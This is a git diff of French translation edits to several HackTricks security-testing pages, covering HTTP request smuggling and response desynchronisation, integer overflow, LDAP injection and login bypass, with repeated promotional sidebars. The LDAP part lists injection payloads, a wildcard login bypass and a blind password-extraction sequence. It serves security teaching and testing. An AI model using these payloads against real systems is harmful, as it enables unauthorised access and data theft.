Comme pour les charges utiles connues de Smuggling de Requêtes HTTP, vous pouvez **voler la requête de la victime** avec une différence importante : dans ce cas, vous avez juste besoin que le **contenu envoyé soit reflété dans la réponse**, **aucun stockage persistant** n'est nécessaire.
|
||||
Comme pour les charges utiles connues du Smuggling de Requêtes HTTP, vous pouvez **voler la requête des victimes** avec une différence importante : dans ce cas, vous avez juste besoin que le **contenu envoyé soit reflété dans la réponse**, **aucun stockage persistant** n'est nécessaire.
|
||||
|
||||
Tout d'abord, l'attaquant envoie une charge utile contenant une **dernière requête POST avec le paramètre reflété** à la fin et une longue Content-Length
|
||||
|
||||
|
@ -74,13 +74,13 @@ Ensuite, la **victime** va **recevoir** la **réponse à la requête chronophage
|
|||
|
||||
## Désynchronisation des Réponses
|
||||
|
||||
Jusqu'à présent, nous avons appris comment exploiter les attaques de Smuggling de Requêtes HTTP pour **contrôler** la **requête dont** la **réponse** qu'un **client va recevoir** et comment vous pouvez ensuite **voler la réponse qui était destinée à la victime**.
|
||||
Jusqu'à présent, nous avons appris comment exploiter les attaques de Smuggling de Requêtes HTTP pour **contrôler** la **requête dont** la **réponse** qu'un **client** va **recevoir** et comment vous pouvez ensuite **voler la réponse qui était destinée à la victime**.
|
||||
|
||||
Mais il est toujours possible de **désynchroniser encore plus** les réponses.
|
||||
|
||||
Il existe des requêtes intéressantes comme la requête **HEAD** qui sont spécifiées pour ne pas avoir **de contenu dans le corps des réponses** et qui devraient (doivent) **contenir la Content-Length** de la requête comme **si c'était une requête GET**.
|
||||
|
||||
Par conséquent, si un attaquant **injecte** une **requête HEAD**, comme dans ces images :
|
||||
Par conséquent, si un attaquant **injecte** une requête **HEAD**, comme dans ces images :
|
||||
|
||||
![](<../.gitbook/assets/image (626).png>)
|
||||
|
||||
|
@ -88,13 +88,13 @@ Ensuite, **une fois que la requête bleue est répondue à l'attaquant**, la pro
|
|||
|
||||
![](<../.gitbook/assets/image (651) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
Ensuite, la **victime** va **recevoir** la **réponse** de la **requête HEAD**, qui **va contenir une Content-Length mais aucun contenu du tout**. Par conséquent, le proxy **ne va pas envoyer cette réponse** à la victime, mais va **attendre** un **contenu**, qui sera en fait la **réponse à la requête jaune** (également injectée par l'attaquant) :
|
||||
Ensuite, la **victime** va **recevoir** la **réponse** de la **requête HEAD**, qui va **contenir une Content-Length mais aucun contenu du tout**. Par conséquent, le proxy **ne va pas envoyer cette réponse** à la victime, mais va **attendre** un **contenu**, qui sera en fait la **réponse à la requête jaune** (également injectée par l'attaquant) :
|
||||
|
||||
![](<../.gitbook/assets/image (627) (1).png>)
|
||||
|
||||
### Confusion de Contenu
|
||||
|
||||
En suivant l'exemple précédent, sachant que vous pouvez **contrôler le corps** de la requête dont la réponse va être reçue par la victime et qu'une **réponse HEAD** contient généralement dans ses en-têtes le **Content-Type et la Content-Length**, vous pouvez **envoyer une requête comme celle-ci** pour **causer une XSS** chez la victime sans que la page soit vulnérable à la XSS :
|
||||
En suivant l'exemple précédent, sachant que vous pouvez **contrôler le corps** de la requête dont la réponse va être reçue par la victime et qu'une **réponse HEAD** **contient généralement dans ses en-têtes le Content-Type et la Content-Length**, vous pouvez **envoyer une requête comme celle-ci** pour **causer une XSS** chez la victime sans que la page soit vulnérable à la XSS :
|
||||
|
||||
![](<../.gitbook/assets/image (654) (1) (1) (1) (1).png>)
|
||||
|
||||
|
@ -116,13 +116,13 @@ Notez que dans ce cas, si le **"victim" est l'attaquant**, il peut maintenant ef
|
|||
|
||||
### Tromperie de Cache Web
|
||||
|
||||
Cette attaque est similaire à la précédente, mais **au lieu d'injecter une charge utile dans le cache, l'attaquant va mettre en cache les informations de la victime à l'intérieur du cache :**
|
||||
Cette attaque est similaire à la précédente, mais **au lieu d'injecter une charge utile dans le cache, l'attaquant va mettre en cache des informations de la victime à l'intérieur du cache :**
|
||||
|
||||
![](<../.gitbook/assets/image (643) (1) (1).png>)
|
||||
|
||||
### Fractionnement de Réponse
|
||||
|
||||
Le **but** de cette attaque est d'exploiter à nouveau la **désynchronisation de la réponse** pour **faire en sorte que le proxy envoie une réponse 100% générée par l'attaquant**.
|
||||
Le **but** de cette attaque est d'exploiter à nouveau la **désynchronisation de la réponse** afin de **faire envoyer au proxy une réponse 100% générée par l'attaquant**.
|
||||
|
||||
Pour y parvenir, l'attaquant doit trouver un point de terminaison de l'application web qui **reflète certaines valeurs dans la réponse** et **connaître la longueur du contenu de la réponse HEAD**.
|
||||
|
||||
|
@ -138,21 +138,6 @@ La victime recevra en réponse le **HEAD response + le contenu de la réponse de
|
|||
|
||||
![](<../.gitbook/assets/image (633) (1).png>)
|
||||
|
||||
Cependant, notez comment les **données reflétées avaient une taille conforme à la Content-Length** de la **réponse HEAD qui a généré une réponse HTTP valide dans la file de réponses**.
|
||||
Cependant, notez comment les **données reflétées avaient une taille conforme à la Content-Length** de la **réponse HEAD qui a généré une réponse HTTP valide dans la file de réponse**.
|
||||
|
||||
Par conséquent, la **prochaine requête du deuxième victime** va **recevoir** en **réponse quelque chose entièrement fabriqué par l'attaquant**. Comme la réponse est entièrement fabriquée par l'attaquant, il peut également **faire en sorte que le proxy mette en cache la réponse**.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -23,7 +23,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -29,28 +29,9 @@ println!("{}", add_result);
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="C" %}
|
||||
### Débordement d'entier
|
||||
|
||||
## Débordement d'entier
|
||||
|
||||
Lorsqu'un entier dépasse sa valeur maximale, il peut entraîner un débordement d'entier. Cela peut être exploité pour exécuter des attaques, telles que l'exécution de code arbitraire ou la modification de variables critiques. Il est essentiel de vérifier et de gérer correctement les débordements d'entiers dans le code pour éviter les vulnérabilités potentielles.
|
||||
|
||||
### Exemple de débordement d'entier en C
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int a = 2147483647; // Valeur maximale d'un int
|
||||
a = a + 1;
|
||||
|
||||
printf("La valeur de a est : %d\n", a);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Dans cet exemple, en ajoutant 1 à la valeur maximale d'un entier, cela provoque un débordement d'entier, ce qui peut entraîner un comportement imprévisible du programme.
|
||||
|
||||
Lorsqu'un entier dépasse sa valeur maximale autorisée, il peut entraîner un débordement d'entier. Cela peut entraîner des comportements inattendus, tels que des valeurs négatives inattendues ou des valeurs très grandes qui ne sont pas correctement gérées par le programme. Les débordements d'entiers peuvent être exploités par des attaquants pour modifier le comportement attendu du programme et potentiellement exécuter du code malveillant.
|
||||
{% endtab %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
@ -70,17 +51,14 @@ printf("%d\n", c);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,20 +4,20 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour les pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour des pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@ Autres façons de soutenir HackTricks :
|
|||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée de l'utilisateur. Cela se produit lorsque l'application **ne parvient pas à nettoyer correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut potentiellement conduire à un accès non autorisé ou à une manipulation de données.
|
||||
**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée de l'utilisateur. Cela se produit lorsque l'application **ne parvient pas à nettoyer correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation de données.
|
||||
|
||||
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
|
||||
|
||||
|
@ -57,8 +57,8 @@ Par exemple :\
|
|||
|
||||
Vous pouvez accéder à la base de données, qui peut contenir des informations de différents types.
|
||||
|
||||
**OpenLDAP** : Si 2 filtres arrivent, n'exécute que le premier.\
|
||||
**ADAM ou Microsoft LDS** : Avec 2 filtres, ils renvoient une erreur.\
|
||||
**OpenLDAP** : Si 2 filtres arrivent, seul le premier est exécuté.\
|
||||
**ADAM ou Microsoft LDS** : Avec 2 filtres, une erreur est renvoyée.\
|
||||
**SunOne Directory Server 5.0** : Exécute les deux filtres.
|
||||
|
||||
**Il est très important d'envoyer le filtre avec une syntaxe correcte, sinon une erreur sera renvoyée. Il est préférable d'envoyer un seul filtre.**
|
||||
|
@ -69,11 +69,11 @@ Exemple : `(&(directory=val1)(folder=public))`
|
|||
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||||
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
||||
|
||||
Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celui exécuté).
|
||||
Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celui qui est exécuté).
|
||||
|
||||
### Contournement de connexion
|
||||
|
||||
LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, il se pourrait qu'indépendamment de ce que vous insérez dans le mot de passe, il soit haché.
|
||||
LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, il se peut qu'indépendamment de ce que vous insérez dans le mot de passe, il soit haché.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -148,9 +148,9 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
|
|||
Payload: void)(objectClass=void))(&objectClass=void
|
||||
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
|
||||
```
|
||||
#### Extraire des données
|
||||
#### Dump de données
|
||||
|
||||
Vous pouvez itérer sur les lettres ASCII, les chiffres et les symboles :
|
||||
Vous pouvez itérer sur les lettres ascii, les chiffres et les symboles :
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
@ -223,20 +223,20 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Conseil de prime de bug**: **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||
**Conseil de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -51,9 +51,9 @@ Sur la page suivante, vous trouverez une **liste personnalisée pour essayer de
|
|||
|
||||
### Contournement de l'authentification sans injection SQL
|
||||
|
||||
[Ici, vous pouvez trouver plusieurs astuces pour contourner la connexion via les **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
[Ici, vous pouvez trouver plusieurs astuces pour contourner la connexion via les **injections No SQL**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
|
||||
Comme les injections NoSQL nécessitent de changer la valeur des paramètres, vous devrez les tester manuellement.
|
||||
Comme les injections NoSQL nécessitent de modifier la valeur des paramètres, vous devrez les tester manuellement.
|
||||
|
||||
### Contournement de l'authentification par injection XPath
|
||||
|
||||
|
@ -95,27 +95,29 @@ Si la page a une fonctionnalité "**Se souvenir de moi**", vérifiez comment ell
|
|||
|
||||
### Redirections
|
||||
|
||||
Les pages redirigent généralement les utilisateurs après la connexion, vérifiez si vous pouvez modifier cette redirection pour provoquer une [**Redirection Ouverte**](../open-redirect.md). Peut-être pouvez-vous voler des informations (codes, cookies...) si vous redirigez l'utilisateur vers votre site web.
|
||||
Les pages redirigent généralement les utilisateurs après la connexion, vérifiez si vous pouvez modifier cette redirection pour causer une [**Redirection Ouverte**](../open-redirect.md). Peut-être pouvez-vous voler des informations (codes, cookies...) si vous redirigez l'utilisateur vers votre site web.
|
||||
|
||||
## Autres vérifications
|
||||
|
||||
* Vérifiez si vous pouvez **énumérer les noms d'utilisateur** en abusant de la fonctionnalité de connexion.
|
||||
* Vérifiez si l'**auto-complétion** est active dans les formulaires de mot de passe/**informations sensibles** **input:** `<input autocomplete="false"`
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
